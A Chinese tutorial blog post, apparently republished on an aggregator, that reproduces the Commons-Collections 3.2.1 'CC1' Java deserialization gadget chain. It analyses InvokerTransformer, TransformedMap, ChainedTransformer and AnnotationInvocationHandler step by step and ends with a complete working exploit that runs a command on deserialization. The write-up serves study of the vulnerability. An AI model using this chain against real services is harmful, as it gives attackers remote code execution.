Java反序列化Commons-Collections-CC1链

news2024/9/23 23:33:09

环境搭建

JDK8u71以下,这个漏洞已经被修复了,这个JDK的以上版本都修复了漏洞

JDK8u65

下载地址

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

image.png
这个时候来到 pom.xml 配置Maven依赖下载CommonsCollections3.2.1版本
image.png
添加以下代码:

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

image.png
这个时候点击这个,刷新代码
image.png

配置Maven仓库

官网地址:

https://maven.apache.org/

直接下载即可
image.png
image.png
解压压缩包之后来到这个文件下
image.png
然后随便在网上搜索 阿里云镜像源
image.png
image.png
然后复制这一段代码
image.png

<mirror>
    <id>aliyunmaven</id>
    <mirrorOf>*</mirrorOf>
    <name>阿里云公共仓库</name>
    <url>https://maven.aliyun.com/repository/public</url>
</mirror>

image.png
然后设置Maven仓库的位置路径
image.png
来到这里
image.png
然后设置settings.xml的文件位置
image.png
这个时候我们可以看见左边多出了Maven的依赖环境,我们可以开始学习CC1链了
image.png

openJDK 8u65

下载地址

https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

下载好之后,来到这个目录下复制sun文件
image.png
然后来到JDK8u5的文件夹中解压src.zip压缩包,将sun复制到src文件夹里面
image.png
然后再IDEA Ctrl+Shift+Alt+S打开项目结构,添加刚刚的src文件路径
image.png
这样子做的好处就是可以编译部分的class文件为java文件,可以进行断点调试
image.png

基础知识

Common-Collections包的结构

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

来源:

https://blinkfox.github.io/2018/09/13/hou-duan/java/commons/commons-collections-bao-he-jian-jie/#toc-heading-6

Java反射命令执行

package org.example;


import java.lang.reflect.Method;

public class Main {
    public static void main(String[] args) throws Exception{
        //Runtime.getRuntime().exec("calc"); 直接调用,不需要反射的方法
        Runtime r = Runtime.getRuntime();
        //获取Runtime的class
        Class<Runtime> c = Runtime.class;
        //获取它的exec方法
        Method execMethod = c.getMethod("exec", String.class);
        //反射调用这个方法
        execMethod.invoke(r,"calc");

    }
}

运行之后可以看见弹出 计算器
image.png
由于我们Runtime类没有调用序列化 Serializable类的接口,所以它是不可以进行序列化的。如果我们要进行序列化,可以利用Class类,因为Class是调用了Serializable的接口,可以进行反序列化。
image.png
我们来到Runtime类,可以发现它的一个方法,是可以直接获取
image.png
实现代码:

public class Main {
    public static void main(String[] args) throws Exception{

        //获取Runtime类的class
        Class<Runtime> RuntimeClass = Runtime.class;
        //然后获取
        Method getRuntimeMethod = RuntimeClass.getMethod("getRuntime");
        Object r = getRuntimeMethod.invoke(null, null);
        Method execMethod = RuntimeClass.getMethod("exec", String.class);
        execMethod.invoke(r,"calc");
    }

}

最后可以看见,成功弹出计算器。
image.png

CC1链分析

入口点-执行任意命令

CC1链的作者发现了 org.apache.commons.collections 中有个 Transformer 接口类,然后它是一组自定义的功能类,我们可以直接找到,然后看一下。
作用:简单来说就是调用了这个 Transformer 接口会使用这个transform方法
image.png
按Ctrl + Alt +B查看这个接口的实现类,点开这个实现类
image.png
进到 InvokerTransformer 这个实现类,Alt + 7可以看见该类的方法拓扑图。
再下面的可以发现这个类的 transform方法中存在反射调用
image.png
我们来尝试利用这个InvokerTransformer类的transform方法来进行一次命令执行

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        }

可以看见计算器成功弹出,证明了这个类的方法是可以进行命令执行的

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    }
}

image.png

总结

通过调用这个类的方法,执行命令,我们知道了 InvokerTransformer.transform 是入口点。我们还需要向上其他类寻找可以调用 这个入口点的类的方法。

寻找调用入口点的类

我们需要不同的类名调用这个入口点类的方法,右键如图点击,寻找这个方法有哪些类调用
image.png
在这里找到了一个比较好调用 checkSetValue 方法,它来自于 TransformedMap类
image.png
因为这段代码,返回的是 valueTransformer 调用的transform方法

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

我们看一下valueTransformer,然后在这里找到了它的构造方法
image.png
由于这个方法是受保护成员,我们继续往上翻代码,可以发现 decorate 这里是静态方法,然后返回的是刚刚的受保护成员,我们可以在这里进行下手
image.png
exp代码编写1:
根据前面的分析,我们可以写出以下代码

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;

public class CC1 {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        TransformedMap.decorate(map,null,invokerTransformer);
    }
}
  • 写 null是因为 我们没有需要的 keyTransformer要传参
  • 通过HashMap,放入一个map
  • invokerTransformer是相当于valueTransformer

命令执行 = valueTransformer.transform(value);
我们已经有了valueTransformer,现在需要去构造checkSetValue这个方法的参数
image.png
右键查找 调用checkSetValue的类的方法
image.png
然后我们在 AbstractInputCheckedMapDecorator 类中找到了调用了 checkSetValue 方法的方法 setValue
image.png
TransformedMap 类是 AbstractInputCheckedMapDecorator类的子类,所以子类可以调用父类的方法
image.png
然后在代码中的setValue,如果继续查找调用的函数会很麻烦,因为有很多方法要去看

    static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

}

实际上setValue在这个代码的意思相当于一个map的一个键值顿,for循环遍历
image.png
所以我们要控制 AbstractInputCheckedMapDecorator类的setValue的内容,也可以以此类推进行操作

public class CC1 {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");

        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
        
        for (Map.Entry entry : transformedMap.entrySet()) {
            entry.setValue(r); //setValue -> checkSetValue(Object value) -> transform(Object input)
        }
    }
}

可以看见成功执行计算器弹窗命令
image.png

总结

证明了这个类是可以调用一开始的入口点的类,最后一样可以命令执行,链子已经拿到了一半了。Java反序列化必须还有有一个readObject的入口类才能利用这些链,所以还需要再往上找调用这个 setValue 的readObject类

寻找调用构造链的readObject方法的入口类

EXP构造

查找调用了setValue方法的类
image.png
最终在这里找到了调用了setValue方法的readObject类
image.png
进去之后发现是来源于 AnnotationInvocationHandler 类的
image.png
所以我们可以先构造一个EXP

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;



public class CC1Test {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Override.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");
    }

    //序列化与反序列化
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws  IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

  • 其中 AnnotationInvocationHandler,我们这里构造了一个和它类型相同的类。
  • 至于 Override.class是怎么来的,是因为 AnnotationInvocationHandler继承 Annotation接口
  • 实际上 Annotation接口是注解的意思,所以我们可以用 Override.class (注解)放进 newInstance()实例化的第一个参数里面

image.png

完善EXP

实际上我们实现序列化和反序列化是需要继承 序列化的接口。但是 Runtime类并没有继承
image.png
所以我们的第一步就是能够让我们的exp,没有序列化的类通过反射然后就可以进行序序列化,前面有讲。

反射

通过前面的执行命令反射为例子,我们的这个 InvokerTransformer方法也同理

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1 {
    public static void main(String[] args) throws Exception {

//        Class<Runtime> r = Runtime.class;
//        Method getRuntimeMethod = r.getMethod("getRuntime", null);
//        Runtime getruntime = (Runtime) getRuntimeMethod.invoke(null, null);
//        Method execMethod = r.getMethod("exec", String.class);
//        execMethod.invoke(getruntime,"calc");

        //通过反射能够进行序列化,也能执行命令
        Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);


    }
}
  • 其中new Class[]{}里面的属性,可以参考原生的getMethod的属性,照搬进去就好了。
  • 这个 Class<?>… 后面有三个点意思是Class的数组,也就是 -> Class[]

image.png
运行之后可以看见弹窗计算器成功,证明了这个我们调试的反射代码是成功的
image.png
实际上我们还可以进行利用一个叫 ChainedTransformer的方法,进行简写刚刚的反射代码
image.png

  • ChainedTransformer 遍历 transform[] 数组的内容,放入到 Transformers 变量
  • transform方法可以对每个 iTransformers变量进行一次调用transform它的参数

所以我们可以这些写

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
    public static void main(String[] args) throws Exception {
        //通过反射能够进行序列化,也能执行命令
//        Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
        
        //ChainedTransformer类中有ChainedTransformer方法可以进行便捷,不会和前面一样进行重复
        Transformer[]  transformers = new Transformer[]{
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        chainedTransformer.transform(Runtime.class);

    }
}
  • transform方法只需要调用一次,引入 Runtime.class的类

运行后可以看见,命令执行成功,证明了我们的代码没有错误
image.png

绕过if

这个时候我们把前面调试好的反射代码组合前面写好的放在一起

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;



public class CC1Test {
    public static void main(String[] args) throws Exception {

        Transformer[]  transformers = new Transformer[]{

                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Override.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");
    }

    //序列化与反序列化
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws  IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

现在运行exp代码肯定是不能生效的,主要有两点:

  • 变量成员不能为空
  • 通过绕过两个if,才能来到 setValue方法

image.png
我们可以先断点调试一下代码进行理解,从反序列化的入口点开始下断点调试
image.png
按F8下一步调试,可以发现我们的成员变量是 Override注解,然后它的成员变量是 null的
image.png
进入 Override类一看,空空如也,它没有成员变量的方法
image.png
Ctrl + 鼠标键 点击 Target
来到了这里,Target也是注解的一个类,然后它的成员变量是value,所以我们可以用 Target.class 代替 Override.class
image.png
将exp代码 进行修改,然后重新断点调试一下
image.png
调试到这发现还是 null,这是因为 Target注解类它没有key这个键值,我们需要用value方法,才能让它识别
image.png
这个时候我们修改exp的代码 "key"为 “value”
image.png
然后继续重新断点调试,可以发现我们走到了 setValue的关键方法了,再也不是null了,成功的绕过了if的判断
image.png
这个时候点击F7跟进这一行,然后点击setValue方法
image.png
然后继续跟进F7,直到我们来到了这里,也就是我们之前执行命令的一个点,发现setValue我们无法控制
image.png
在ConstantTransformer类中发现了 ConstantTransformer方法可以返回常量值,这个类里面也有transform方法,配合使用的话,也就说传入什么值 都可以调用 transform(value),从而调用 Runtime.class进行反射
image.png
添加这行代码,就可以相当于做到了 setValue的事情
image.png
其实也就相当于一开始的Java反射命令的结构体一样
这一行也就只是执行transformers数组内容罢了

  • ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

最终exp

CC1链的最终exp代码如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;



public class CC1Test {
    public static void main(String[] args) throws Exception {

        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");
    }

    //序列化与反序列化
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws  IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

通过发序列化之后,可以看见命令执行成功
image.png

总结

这是一个国内版本的 TransformedMap 类的CC1链,国外没有用到这个TransformedMap类。
整个CC1链复现的流程:

复现路线:
任意类的readObject方法 <- 调用入口点类的方法 <-任意执行命令的入口点

攻击链:
readObject -->  setValue ---> checkSetValue --->  transform

一些辅助类:
HashMap --> ChainedTransformer.transform --->  Target -->ConstantTransformer.transform

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1596266.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

20V/1.5A替代LT1963低压差线性稳压器

概述(替代LT1963) PCD3941 是一款低压差稳压器&#xff0c;专为快速瞬态响应而优化。该装置能够提供 1.5A 的输出电流&#xff0c;典型压降为 160mV。工作静态电流为 1mA&#xff0c;关机时降至 1μA以下&#xff0c;同时压差模式下静态电流控制良好。除了快速瞬态响应外&…

【Linux】封装一下简单库 理解文件系统

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 一、封装一下简单库 二、理解一下stdin(0)、stdout(1)、stderr(3) 2.1、为什么要有0、1、2呢&#xff1f; 2.2、特点 2.3、如果我想让2也和1重定向到一个文件…

护眼台灯哪个牌子好?护眼灯十大品牌推荐,绝对真香!

对于有孩子的家庭&#xff0c;特别是阅读爱好者&#xff0c;晚上阅读时的光线问题至关重要。昏暗环境长时间阅读&#xff0c;会严重伤害孩子的眼睛。因此&#xff0c;选择一款合适的护眼台灯显得尤为重要。但市场上品牌众多&#xff0c;护眼台灯哪个牌子好?这往往让人难以抉择…

【Tomcat 文件读取/文件包含(CVE-2020-1938)漏洞复现】

文章目录 前言 一、漏洞名称 二、漏洞描述 三、受影响端口 四、受影响版本 五、漏洞验证 六、修复建议 前言 近日在做漏扫时发现提示服务器存在CVE-2020-1938漏洞&#xff0c;故文章记录一下相关内容。 一、漏洞名称 Tomcat 文件读取/文件包含漏洞(CVE-2020-1938) 二、漏洞描…

a == 1 a== 2 a== 3 返回 true ?

1. 前言 下面这道题是 阿里、百度、腾讯 三个大厂都出过的面试题&#xff0c;一个前端同事跳槽面试也被问了这道题 // &#xff1f; 位置应该怎么写&#xff0c;才能输出 trueconst a ?console.log(a 1 && a 2 && a 3) 看了大厂的面试题会对面试官的精神…

这款开发工具大大降低IoT开发门槛!完全开源,上手超简单

对开发者来说&#xff0c;IoT 开发的难点是什么&#xff1f;首先&#xff0c;IoT 涉及到多个领域和多种开发技术&#xff0c;每一层的技术接口、协议都需要跨平台、跨领域、跨系统的合作协同&#xff1b;在互联互通方面&#xff0c;智能设备间的兼容性亟待进一步地打通融合&…

ANSYS 2023版 下载地址及安装教程

ANSYS是一款著名的工程仿真软件&#xff0c;广泛应用于航空航天、汽车、能源和制造等领域。它为工程师和设计师提供了强大的建模、分析和优化工具&#xff0c;可以帮助他们预测和优化产品的性能。 ANSYS提供了广泛的模拟功能&#xff0c;包括结构力学、流体力学、电磁场和热传…

Unity | Shader基础知识(第十二集:颜色混合)

目录 前言 一、日常生活中的常见现象 二、unity自带的一个结构体&#xff08;表面着色器SurfaceOutputStandard&#xff09; 三、自己写一个颜色混合的Shader 1.只加基础颜色Albedo 2.加入法线 3.加入光滑度 4.加入金属度 5.加入自发光 四、作者的话 前言 shader里每一…

2024第十五届蓝桥杯 JAVA B组

目录 前言&#xff1a;试题 A: 报数游戏试题 B: 类斐波那契循环数试题C:分布式队列 前言&#xff1a; 没参加这次蓝桥杯算法赛&#xff0c;十四届蓝桥杯被狂虐&#xff0c;对算法又爱又恨&#xff0c;爱我会做的题&#xff0c;痛恨我连题都读不懂的题&#x1f62d;,十四届填空只…

计算方法实验5:对鸢尾花数据集进行主成分分析(PCA)并可视化

任务 iris数据集包含150条数据&#xff0c;从iris.txt读取&#xff0c;每条数据有4个属性值和一个标签&#xff08;标签取值为0&#xff0c;1&#xff0c;2&#xff09;。要求对这150个4维数据进行PCA&#xff0c;可视化展示这些数据在前两个主方向上的分布&#xff0c;其中不…

鸿蒙原生应用元服务-访问控制(权限)开发Stage模型向用户申请授权

一、向用户申请授权 当应用需要访问用户的隐私信息或使用系统能力时&#xff0c;例如获取位置信息、访问日历、使用相机拍摄照片或录制视频等&#xff0c;应该向用户请求授权。这需要使用 user_grant 类型权限。在此之前&#xff0c;应用需要进行权限校验&#xff0c;以判断当前…

Golang教程一(环境搭建,变量,数据类型,数组切片map)

目录 一、环境搭建 1.windows安装 2.linux安装 3.开发工具 二、变量定义与输入输出 1.变量定义 2.全局变量与局部变量 3.定义多个变量 4.常量定义 5.命名规范 6.输出 格式化输出 7.输入 三、基本数据类型 1.整数型 2.浮点型 3.字符型 4.字符串类型 转义字…

贝叶斯公式中的先验概率、后验概率、似然概率

欢迎关注博主 Mindtechnist 或加入【智能科技社区】一起学习和分享Linux、C、C、Python、Matlab&#xff0c;机器人运动控制、多机器人协作&#xff0c;智能优化算法&#xff0c;滤波估计、多传感器信息融合&#xff0c;机器学习&#xff0c;人工智能等相关领域的知识和技术。关…

Neo4j 图形数据库中有哪些构建块?

Neo4j 图形数据库具有以下构建块 - 节点属性关系标签数据浏览器 节点 节点是 Graph 的基本单位。 它包含具有键值对的属性&#xff0c;如下图所示。 NEmployee 节点 在这里&#xff0c;节点 Name "Employee" &#xff0c;它包含一组属性作为键值对。 属性 属性是…

华为HarmonyOS 4.2公测升级计划扩展至15款新机型

华为近日宣布&#xff0c;HarmonyOS 4.2操作系统的公测升级计划将扩展到包括华为P50系列在内的15款设备。这一更新旨在为用户提供更优化的系统性能和增强的功能。 参与此次公测的机型包括华为P50、华为P50 Pro及其典藏版、华为P50E、华为P50 Pocket及其艺术定制版、华为nova系…

Unity开发HoloLens2应用时,用VisualStudio进行真机在线Debug调试

一、需求 用Unity开发的应用&#xff0c;部署到真机设备出现启动崩溃&#xff0c;此时可以用在线调试&#xff0c;排查错误。 二、开发环境说明 MRholoLens2 Unity 2021.3.18 Win Win10 VS vs2022 三、调试操作步骤 1、HoloLens2与电脑的连接&#xff0c;Wifi连接&…

不是所有商业模式都叫传销!七星创客模式!

“商业模式是否等同于拉人头、传销&#xff1f;”近期&#xff0c;这一疑问在许多人心中萦绕。似乎每当提及商业模式&#xff0c;总有些人会将其与拉人头、传销等概念联系起来&#xff0c;仿佛所有的商业模式都带有某种负面色彩。 然而&#xff0c;商业模式的内涵远非如此单一。…

MCU的最佳存储方案CS创世 SD NAND

MCU的最佳存储方案CS创世 SD NAND 写在最前面MCU是什么CS创世 SD NAND 6大优势 写在最前面 转载自 雷龙官网 MCU是什么 大家都知道MCU是一种"麻雀"虽小&#xff0c;却"五脏俱全"的主控。它的应用领域非常广泛&#xff0c;小到手机手表&#xff0c;大到航空…

【服务器部署篇】Linux下Jenkins安装和配置

作者介绍&#xff1a;本人笔名姑苏老陈&#xff0c;从事JAVA开发工作十多年了&#xff0c;带过刚毕业的实习生&#xff0c;也带过技术团队。最近有个朋友的表弟&#xff0c;马上要大学毕业了&#xff0c;想从事JAVA开发工作&#xff0c;但不知道从何处入手。于是&#xff0c;产…

使用PL\SQL将Excel表格导入到oracle数据库中

因为要测试生产问题&#xff0c;需要把生产上oracle导出数据导入到测试环境oracle数据库中&#xff0c;尝试了N种方法&#xff0c;发现使用PL\SQL 的ODBC 方法比较好用 1、开始 首先使用plsqldev里面的&#xff0c;工具--》下面的odbc导入器 2、配置 点击之后&#xff0c;会…